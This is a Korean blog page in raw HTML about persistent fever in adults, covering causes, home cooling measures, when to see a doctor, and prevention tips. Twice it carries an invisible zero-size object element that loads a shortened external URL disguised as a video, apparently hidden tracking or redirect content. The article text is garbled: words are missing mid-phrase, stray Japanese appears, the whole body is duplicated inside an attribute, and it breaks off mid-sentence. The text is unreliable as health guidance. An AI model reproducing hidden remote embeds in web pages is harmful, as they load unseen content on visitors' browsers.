<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c4043730060="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">열이 안 떨어져요? 원인과 해결 방법 알아보기</h2><p data-sourcepos="3:1-3:114">열은 우리 몸이 과 싸우고 있다는 신호이지만, 너무 높으면 불편하고 위험할 수 있습니다. 특히 성인의 경우, 아이들보다 열이 오래 지속되거나 심각한 합병증을 일으킬 수 있기 때문에 주의가 필요합니다.</p><p data-sourcepos="5:1-5:67">이 글에서는 열이 안 떨어지는 이유와 성인이 열을 낮추는 방법, 그리고 언제 의사를 만나야 하는지 자세히 알아보겠습니다.</p><h3 data-sourcepos="7:1-7:19">1. 열이 안 떨어지는 이유</h3><p data-sourcepos="9:1-9:54">성인이 열이 오래 지속되는 데에는 여러 가지 이유가 있습니다. 가장 흔한 원인은 다음과 같습니다.</p><ul data-sourcepos="11:1-16:0">
<li data-sourcepos="11:1-11:59"><strong>감염:</strong> 감기, 독감, 인후염, 폐렴, 요로감염 등 다양한 감염증이 열의 원인이 될 수 있습니다.</li>
<li data-sourcepos="12:1-12:78"><strong>자가면역 :</strong> 루푸스, 관절염, 크론병 등 자가면역 은 면역 체계가 건강한 세포를 공격하여 염증과 열을 유발할 수 있습니다.</li>
<li data-sourcepos="13:1-13:41"><strong>암:</strong> 암은 면역 체계의 변화를 일으켜 열을 유발할 수 있습니다.</li>
<li data-sourcepos="14:1-14:41"><strong>약물 :</strong> 일부 약물은 으로 열을 유발할 수 있습니다.</li>
<li data-sourcepos="15:1-16:0"><strong>기타:</strong> 호르몬 변화, 스트레스, 탈수 등도 열의 원인이 될 수 있습니다.</li>
</ul><h3 data-sourcepos="17:1-17:20">2. 성인이 열을 낮추는 방법</h3><p data-sourcepos="19:1-19:40">열이 38.5°C 이하라면 다음과 같은 방법으로 열을 낮출 수 있습니다.</p><ul data-sourcepos="21:1-27:0">
<li data-sourcepos="21:1-21:44"><strong>충분한 휴식:</strong> 충분한 휴식을 취하면 몸이 회복하는 데 도움이 됩니다.</li>
<li data-sourcepos="22:1-22:57"><strong>수분 섭취:</strong> 탈수를 방지하기 위해 물, 전해질 음료 또는 따뜻한 차를 충분히 마셔야 합니다.</li>
<li data-sourcepos="23:1-23:49"><strong>헐렁한 옷 입기:</strong> 땀을 쉽게 배출할 수 있도록 헐렁하고 편안한 옷을 입으세요.</li>
<li data-sourcepos="24:1-24:65"><strong>이마 식히기:</strong> 시원한 물로 적신 수건으로 이마를 식히거나 얼음찜질을 하면 체온을 낮추는 데 도움이 됩니다.</li>
<li data-sourcepos="25:1-25:68"><strong>ぬるめ 물로 목욕 또는 샤워:</strong> 38°C 정도의 ぬるめ 물로 목욕하거나 샤워하면 체온을 낮추는 데 도움이 됩니다.</li>
<li data-sourcepos="26:1-27:0"><strong>해열제 복용:</strong> 아세트아미노펜이나 이부프로펜과 같은 해열제를 복용하여 체온을 낮출 수 있습니다. 다만, 해열제를 복용하기 전에 의사와 상담하는 것이 좋습니다.</li>
</ul><h3 data-sourcepos="28:1-28:22">3. 언제 의사를 만나야 하는가?</h3><p data-sourcepos="30:1-30:27">다음과 같은 경우에는 즉시 의사를 만나야 합니다.</p><ul data-sourcepos="32:1-37:0">
<li data-sourcepos="32:1-32:23"><strong>체온이 38.5°C 이상인 경우</strong></li>
<li data-sourcepos="33:1-33:24"><strong>24시간 이상 열이 지속되는 경우</strong></li>
<li data-sourcepos="34:1-34:44"><strong>악한 오한, 근육통, 발진, 호흡 곤란 등 다른 이 동반되는 경우</strong></li>
<li data-sourcepos="35:1-35:25"><strong>6개월 미만 영아가 열이 나는 경우</strong></li>
<li data-sourcepos="36:1-37:0"><strong>면역 체계가 약한 경우</strong></li>
</ul><h3 data-sourcepos="38:1-38:12">4. 건강한 팁</h3><p data-sourcepos="40:1-40:45">열을 예방하고 건강을 유지하기 위해서는 다음과 같은 조치를 취하는 것이 좋습니다.</p><ul data-sourcepos="42:1-47:22">
<li data-sourcepos="42:1-42:56"><strong>손을 자주 씻으세요:</strong> 손을 자주 씻는 것은 감염을 예방하는 가장 좋은 방법 중 하나입니다.</li>
<li data-sourcepos="43:1-43:48"><strong>충분한 수분을 섭취하세요:</strong> 탈수를 방지하기 위해 충분한 물을 마셔야 합니다.</li>
<li data-sourcepos="44:1-44:50"><strong>충분한 수면을 취하세요:</strong> 충분한 수면은 면역 체계를 강화하는 데 도움이 됩니다.</li>
<li data-sourcepos="45:1-45:60"><strong>건강한 식단을 섭취하세요:</strong> 건강한 식단은 면역 체계를 강화하고 을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="46:1-46:59"><strong>규칙적으로 운동하세요:</strong> 규칙적인 운동은 면역 체계를 강화하고 을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="47:1-47:22"><strong>흡연을 피하세요:</strong> 흡연은 면역</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c4043730060="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">열이 안 떨어져요? 원인과 해결 방법 알아보기</h2><p data-sourcepos="3:1-3:114">열은 우리 몸이 과 싸우고 있다는 신호이지만, 너무 높으면 불편하고 위험할 수 있습니다. 특히 성인의 경우, 아이들보다 열이 오래 지속되거나 심각한 합병증을 일으킬 수 있기 때문에 주의가 필요합니다.</p><p data-sourcepos="5:1-5:67">이 글에서는 열이 안 떨어지는 이유와 성인이 열을 낮추는 방법, 그리고 언제 의사를 만나야 하는지 자세히 알아보겠습니다.</p><h3 data-sourcepos="7:1-7:19">1. 열이 안 떨어지는 이유</h3><p data-sourcepos="9:1-9:54">성인이 열이 오래 지속되는 데에는 여러 가지 이유가 있습니다. 가장 흔한 원인은 다음과 같습니다.</p><ul data-sourcepos="11:1-16:0">
<li data-sourcepos="11:1-11:59"><strong>감염:</strong> 감기, 독감, 인후염, 폐렴, 요로감염 등 다양한 감염증이 열의 원인이 될 수 있습니다.</li>
<li data-sourcepos="12:1-12:78"><strong>자가면역 :</strong> 루푸스, 관절염, 크론병 등 자가면역 은 면역 체계가 건강한 세포를 공격하여 염증과 열을 유발할 수 있습니다.</li>
<li data-sourcepos="13:1-13:41"><strong>암:</strong> 암은 면역 체계의 변화를 일으켜 열을 유발할 수 있습니다.</li>
<li data-sourcepos="14:1-14:41"><strong>약물 :</strong> 일부 약물은 으로 열을 유발할 수 있습니다.</li>
<li data-sourcepos="15:1-16:0"><strong>기타:</strong> 호르몬 변화, 스트레스, 탈수 등도 열의 원인이 될 수 있습니다.</li>
</ul><h3 data-sourcepos="17:1-17:20">2. 성인이 열을 낮추는 방법</h3><p data-sourcepos="19:1-19:40">열이 38.5°C 이하라면 다음과 같은 방법으로 열을 낮출 수 있습니다.</p><ul data-sourcepos="21:1-27:0">
<li data-sourcepos="21:1-21:44"><strong>충분한 휴식:</strong> 충분한 휴식을 취하면 몸이 회복하는 데 도움이 됩니다.</li>
<li data-sourcepos="22:1-22:57"><strong>수분 섭취:</strong> 탈수를 방지하기 위해 물, 전해질 음료 또는 따뜻한 차를 충분히 마셔야 합니다.</li>
<li data-sourcepos="23:1-23:49"><strong>헐렁한 옷 입기:</strong> 땀을 쉽게 배출할 수 있도록 헐렁하고 편안한 옷을 입으세요.</li>
<li data-sourcepos="24:1-24:65"><strong>이마 식히기:</strong> 시원한 물로 적신 수건으로 이마를 식히거나 얼음찜질을 하면 체온을 낮추는 데 도움이 됩니다.</li>
<li data-sourcepos="25:1-25:68"><strong>ぬるめ 물로 목욕 또는 샤워:</strong> 38°C 정도의 ぬるめ 물로 목욕하거나 샤워하면 체온을 낮추는 데 도움이 됩니다.</li>
<li data-sourcepos="26:1-27:0"><strong>해열제 복용:</strong> 아세트아미노펜이나 이부프로펜과 같은 해열제를 복용하여 체온을 낮출 수 있습니다. 다만, 해열제를 복용하기 전에 의사와 상담하는 것이 좋습니다.</li>
</ul><h3 data-sourcepos="28:1-28:22">3. 언제 의사를 만나야 하는가?</h3><p data-sourcepos="30:1-30:27">다음과 같은 경우에는 즉시 의사를 만나야 합니다.</p><ul data-sourcepos="32:1-37:0">
<li data-sourcepos="32:1-32:23"><strong>체온이 38.5°C 이상인 경우</strong></li>
<li data-sourcepos="33:1-33:24"><strong>24시간 이상 열이 지속되는 경우</strong></li>
<li data-sourcepos="34:1-34:44"><strong>악한 오한, 근육통, 발진, 호흡 곤란 등 다른 이 동반되는 경우</strong></li>
<li data-sourcepos="35:1-35:25"><strong>6개월 미만 영아가 열이 나는 경우</strong></li>
<li data-sourcepos="36:1-37:0"><strong>면역 체계가 약한 경우</strong></li>
</ul><h3 data-sourcepos="38:1-38:12">4. 건강한 팁</h3><p data-sourcepos="40:1-40:45">열을 예방하고 건강을 유지하기 위해서는 다음과 같은 조치를 취하는 것이 좋습니다.</p><ul data-sourcepos="42:1-47:22">
<li data-sourcepos="42:1-42:56"><strong>손을 자주 씻으세요:</strong> 손을 자주 씻는 것은 감염을 예방하는 가장 좋은 방법 중 하나입니다.</li>
<li data-sourcepos="43:1-43:48"><strong>충분한 수분을 섭취하세요:</strong> 탈수를 방지하기 위해 충분한 물을 마셔야 합니다.</li>
<li data-sourcepos="44:1-44:50"><strong>충분한 수면을 취하세요:</strong> 충분한 수면은 면역 체계를 강화하는 데 도움이 됩니다.</li>
<li data-sourcepos="45:1-45:60"><strong>건강한 식단을 섭취하세요:</strong> 건강한 식단은 면역 체계를 강화하고 을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="46:1-46:59"><strong>규칙적으로 운동하세요:</strong> 규칙적인 운동은 면역 체계를 강화하고 을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="47:1-47:22"><strong>흡연을 피하세요:</strong> 흡연은 면역</li>
</ul></div>
</div></div>
<!-- -->
